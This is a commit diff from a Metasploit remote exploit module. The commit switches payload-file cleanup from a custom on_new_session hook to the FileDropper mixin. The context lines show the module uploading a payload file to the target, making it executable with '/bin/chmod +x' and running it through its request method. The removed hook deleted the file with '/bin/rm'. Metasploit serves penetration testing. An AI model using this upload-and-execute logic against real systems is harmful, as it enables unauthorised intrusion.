Use FileDropper mixin to delete uploaded file
parent
ac526ca9bd
commit
4790b18424
|
@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -123,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
File.open(file_name, 'wb') { |f| f.write(data) }
|
||||
unix_upload(file_name, data)
|
||||
@to_delete = file_name
|
||||
register_file_for_cleanup(file_name)
|
||||
|
||||
request("/bin/chmod +x #{file_name}")
|
||||
request("#{file_name}&")
|
||||
|
@ -213,11 +214,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
unix_stager(@pl)
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
return unless defined? @to_delete
|
||||
|
||||
print_warning("Deleting #{@to_delete} payload file")
|
||||
request("/bin/rm #{@to_delete}")
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue